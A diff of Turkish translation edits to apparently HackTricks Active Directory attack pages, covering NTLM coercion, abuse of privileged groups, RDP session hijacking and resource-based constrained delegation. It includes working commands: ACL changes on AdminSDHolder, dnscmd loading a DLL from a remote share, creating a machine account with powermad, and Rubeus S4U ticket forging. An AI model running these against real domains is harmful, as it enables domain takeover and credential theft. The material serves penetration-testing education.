sunucusunu HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlamasına olanak tanır. -Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Domain Admin'e anında erişim sağlar. +Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019'dan önceki Kümülatif Güncelleme üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ye bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ye iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar. ## Windows İçinde @@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share ### E-posta ile -Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona sadece **1x1 boyutunda bir resim içeren bir e-posta** gönderebilirsiniz. +Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona sadece **1x1 piksel boyutunda bir resim içeren bir e-posta** gönderebilirsiniz. ```html ``` @@ -102,9 +102,15 @@ Eğer bir bilgisayara MitM saldırısı gerçekleştirebilirseniz ve onun görec ```html ``` +## NTLM kimlik doğrulamasını zorlamak ve oltalama için diğer yollar + +{{#ref}} +../ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + ## NTLMv1 Kırma -Eğer [NTLMv1 zorluklarını yakalayabilirseniz, onları nasıl kıracağınızı buradan okuyun](../ntlm/index.html#ntlmv1-attack).\ +Eğer [NTLMv1 zorluklarını yakalayabilirseniz, bunları nasıl kıracağınızı buradan okuyun](../ntlm/index.html#ntlmv1-attack).\ _NTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerektiğini unutmayın._ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 7cd247939..4ed59f40d 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -6,26 +6,26 @@ - **Yönetici** - **Alan Yöneticileri** -- **Kurumsal Yöneticiler** +- **Kuruluş Yöneticileri** ## Hesap Operatörleri -Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapılmasını sağlar. +Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapmayı sağlar. Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır: -```powershell +```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak mümkündür. +Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak izinlidir. ## AdminSDHolder grubu -**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), yüksek ayrıcalıklı gruplar da dahil olmak üzere Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediği için çok önemlidir. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar. +**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar. Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir. Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır: -```powershell +```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} @@ -36,7 +36,7 @@ Daha fazla bilgi için [ired.team](https://ired.team/offensive-security-experime ## AD Geri Dönüşüm Kutusu -Bu gruptaki üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir: +Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` @@ -46,18 +46,18 @@ DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir pa ### Yetki Yükseltme -Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, `Server Operators` grubu, belirli hizmetler üzerinde tam kontrol sahibi olup, keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır: +Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrol sahibidir, bu da keyfi komutların çalıştırılmasına ve yetki yükseltmeye olanak tanır: ```cmd C:\> .\PsService.exe security AppReadiness ``` -Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve bu sayede hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilebileceğini gösterir. +Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir. ## Yedekleme Operatörleri -`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları sayesinde `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir. +`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir. Grup üyelerini listelemek için şunu çalıştırın: -```powershell +```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Yerel Saldırı @@ -81,7 +81,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over ``` ### AD Saldırısı -Domain Controller'ın dosya sistemine doğrudan erişim, alan kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır. +Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır. #### diskshadow.exe Kullanarak @@ -133,13 +133,13 @@ Pratik bir gösterim için [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watc **DnsAdmins** grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar. DnsAdmins grubunun üyelerini listelemek için: -```powershell +```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### Rastgele DLL Yürüt +### Rastgele DLL Yükle -Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için şu komutları kullanabilir: -```powershell +Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzak bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir: +```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: @@ -163,37 +163,37 @@ DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin y sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` -Daha fazla bilgi için bu saldırı vektörüne, ired.team'e başvurun. +For more details on this attack vector, refer to ired.team. #### Mimilib.dll -Belirli komutları veya ters kabukları çalıştırmak için mimilib.dll kullanmak da mümkündür. Daha fazla bilgi için [bu gönderiyi kontrol edin](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html). +Mimilib.dll'yi belirli komutları veya ters shell'leri çalıştırmak için değiştirmek suretiyle komut yürütme amacıyla kullanmak da mümkündür. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. -### WPAD Kaydı için MitM +### WPAD Record for MitM -DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Spoofing ve ağ trafiğini yakalamak için Responder veya Inveigh gibi araçlar kullanılabilir. +DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Responder veya Inveigh gibi araçlar, ağ trafiğini sahteleyip yakalamak için kullanılabilir. -### Olay Günlüğü Okuyucuları -Üyeler olay günlüklerine erişebilir, bu da düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulmalarını sağlayabilir. -```powershell +### Event Log Readers +Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulma potansiyeline sahip olan olay günlüklerine erişebilirler: +```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` ## Exchange Windows İzinleri -Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilmesiyle ilgili ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır. -```powershell +Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub repo'sunda detaylandırılmıştır. +```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Yöneticileri -Hyper-V Yöneticileri, sanallaştırılmış Alan Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir. +Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir. ### Sömürü Örneği -Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir: +Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe @@ -203,24 +203,24 @@ Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır. ## Organizasyon Yönetimi -**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm etki alanı kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir. +**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu da içerir. ### Ayrıcalık İstismarı ve Komutlar #### Yazdırma Operatörleri -**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Etki Alanı Denetleyicisi'ne yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir. +**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Kontrolü'nü (UAC) atlamak gereklidir. Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır: -```powershell +```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Daha ayrıntılı **`SeLoadDriverPrivilege`** ile ilgili istismar teknikleri için, belirli güvenlik kaynaklarına başvurulmalıdır. +Daha ayrıntılı istismar teknikleri için **`SeLoadDriverPrivilege`** ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır. #### Uzak Masaüstü Kullanıcıları -Bu grubun üyelerine, Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur: -```powershell +Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur: +```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` @@ -228,8 +228,8 @@ RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarınd #### Uzaktan Yönetim Kullanıcıları -Üyeler **Windows Remote Management (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin sayımı şu şekilde gerçekleştirilir: -```powershell +Üyeler **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin belirlenmesi şu şekilde gerçekleştirilir: +```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` @@ -237,8 +237,8 @@ Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Us #### Sunucu Operatörleri -Bu grubun, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Alan Denetleyicileri üzerinde çeşitli yapılandırmalar yapma izinleri vardır. Üyeleri listelemek için verilen komut: -```powershell +Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut: +```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index df816c806..2302fe571 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -4,10 +4,10 @@ ## RDP Süreç Enjeksiyonu -Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara** **RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**. +Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**. O kullanıcı RDP üzerinden erişim sağladıktan sonra, **saldırgan o kullanıcının oturumuna geçebilir** ve harici alandaki izinlerini istismar edebilir. -```powershell +```bash # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access ## The easiest way would be with bloodhound, but you could also run: @@ -36,8 +36,8 @@ Check **other ways to steal sessions with other tools** [**in this page.**](../. Eğer bir kullanıcı **RDP ile bir makineye** erişirse ve burada bir **saldırgan** onu **bekliyorsa**, saldırgan **kullanıcının RDP oturumuna bir beacon enjekte edebilir** ve eğer **kurban RDP ile erişirken diski bağladıysa**, **saldırgan buna erişebilir**. -Bu durumda, sadece **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz**. -```powershell +Bu durumda, **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz**. +```bash # Wait til someone logs in: net logons Logged on users at \\localhost: diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index a24de20a3..8fe07391f 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -1,22 +1,21 @@ -# Kaynağa Dayalı Kısıtlı Delegasyon +# Resource-based Constrained Delegation {{#include ../../banners/hacktricks-training.md}} +## Resource-based Constrained Delegation Temelleri -## Kaynağa Dayalı Kısıtlı Delegasyonun Temelleri - -Bu, temel [Kısıtlı Delegasyon](constrained-delegation.md) ile benzerdir ancak **bir nesneye** **bir hizmete karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Kaynağa Dayalı Kısıtlı Delegasyon **nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler**. +Bu, temel [Constrained Delegation](constrained-delegation.md) ile benzerlik gösterir, ancak **bir nesneye** **bir makineye karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Resource-based Constrained Delegation **nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler**. Bu durumda, kısıtlı nesne, herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır. -Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan adı yöneticisi ayrıcalıkları gerekiyordu). +Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) **_msDS-AllowedToActOnBehalfOfOtherIdentity_** değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan yöneticisi ayrıcalıkları gerekiyordu). ### Yeni Kavramlar -Kısıtlı Delegasyonda, kullanıcının _userAccountControl_ değerinde **`TrustedToAuthForDelegation`** bayrağının **S4U2Self** gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değildir.\ -Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** varsa, dönen TGS **İleri Yönlendirilebilir** olacak ve eğer o bayrağa sahip değilseniz, dönen TGS **İleri Yönlendirilemez** olacaktır. +Kısıtlı Delegasyon'da, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının **S4U2Self** gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değil.\ +Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** bayrağına sahipseniz, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**. -Ancak, **S4U2Proxy**'de kullanılan **TGS** **İleri Yönlendirilebilir DEĞİLSE**, temel bir **Kısıtlı Delegasyonu** kötüye kullanmaya çalışmak **çalışmayacaktır**. Ancak bir **Kaynağa Dayalı kısıtlı delegasyonu** istismar etmeye çalışıyorsanız, bu **çalışacaktır** (bu bir güvenlik açığı değil, görünüşe göre bir özelliktir). +Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir **Kısıtlı Delegasyon** istismar etmeye çalışmak **çalışmayacaktır**. Ancak bir **Resource-Based kısıtlı delegasyonu** istismar etmeye çalışıyorsanız, bu **çalışacaktır**. ### Saldırı Yapısı @@ -24,24 +23,24 @@ Ancak, **S4U2Proxy**'de kullanılan **TGS** **İleri Yönlendirilebilir DEĞİLS Saldırganın zaten **kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına** sahip olduğunu varsayalım. -1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Yönetici Kullanıcı_ özel bir ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi oluşturabilir** (**_MachineAccountQuota_** olarak) ve bunlara bir **SPN** ayarlayabilir. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. -2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak **Kaynağa Dayalı kısıtlı delegasyonu, ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde yapılandırır**. -3. Saldırgan, **Service B**'ye **ayrılmış erişime** sahip bir kullanıcı için **tam bir S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek üzere Rubeus'u kullanır. -1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (İleri Yönlendirilemez). -2. S4U2Proxy: Önceki adımda **İleri Yönlendirilemez TGS**'yi kullanarak **kurban ana bilgisayara** **Yönetici**'den bir **TGS** istemek. -3. İleri Yönlendirilemez bir TGS kullanıyor olsanız bile, Kaynağa Dayalı kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**. -4. Saldırgan, **bilet geçişi** yapabilir ve kullanıcıyı **kurban ServiceB'ye erişim sağlamak için taklit edebilir**. +1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Admin User_'ın başka bir özel ayrıcalığı olmadan **10 Bilgisayar nesnesi** (_MachineAccountQuota_) oluşturabileceğini ve bunlara bir **SPN** ayarlayabileceğini unutmayın. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. +2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kullanarak **HizmetA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde kaynak tabanlı kısıtlı delegasyonu yapılandırır**. +3. Saldırgan, **Service B'ye ayrıcalıklı erişimi olan bir kullanıcı** için Service A'dan Service B'ye **tam bir S4U saldırısı** gerçekleştirmek üzere Rubeus'u kullanır. + 1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL). + 2. S4U2Proxy: Önceki adımda elde edilen **Forwardable DEĞİL TGS**'yi kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek. + 3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, Resource-based kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**. + 4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek kurban ServiceB'ye erişim elde edebilir**. -Alan adının _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz: -```powershell +Alanınızdaki _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz: +```bash Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` ## Saldırı ### Bir Bilgisayar Nesnesi Oluşturma -Bir bilgisayar nesnesi oluşturmak için [powermad](https://github.com/Kevin-Robertson/Powermad)**:** -```powershell +**[powermad](https://github.com/Kevin-Robertson/Powermad)** kullanarak alan içinde bir bilgisayar nesnesi oluşturabilirsiniz: +```bash import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -51,12 +50,12 @@ Get-DomainComputer SERVICEA ### Kaynak Tabanlı Kısıtlı Delegasyonu Yapılandırma **activedirectory PowerShell modülünü kullanarak** -```powershell +```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` **Powerview Kullanımı** -```powershell +```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) @@ -81,7 +80,7 @@ Bu, o hesap için RC4 ve AES hash'lerini yazdıracaktır.\ ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -Rubeus'un `/altservice` parametresini kullanarak sadece bir kez istekte bulunarak daha fazla bilet oluşturabilirsiniz: +Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha fazla hizmet için daha fazla bilet oluşturabilirsiniz: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` @@ -90,8 +89,8 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin ### Erişim -Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Yönetici'den kurban makinesine **belleğe** enjekte edecektir.\ -Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz: +Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Administrator'dan kurban hostuna **bellekte** enjekte edecektir.\ +Bu örnekte, Administrator'dan **CIFS** servisi için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz: ```bash ls \\victim.domain.local\C$ ``` @@ -107,7 +106,7 @@ ls \\victim.domain.local\C$ - **`KDC_ERR_BADOPTION`**: Bu, şunları ifade edebilir: - Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir) - İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa) - - Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetmiştir ve bunları geri vermeniz gerekir. + - Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetti ve bunları geri vermeniz gerekiyor. ## Referanslar @@ -115,6 +114,7 @@ ls \\victim.domain.local\C$ - 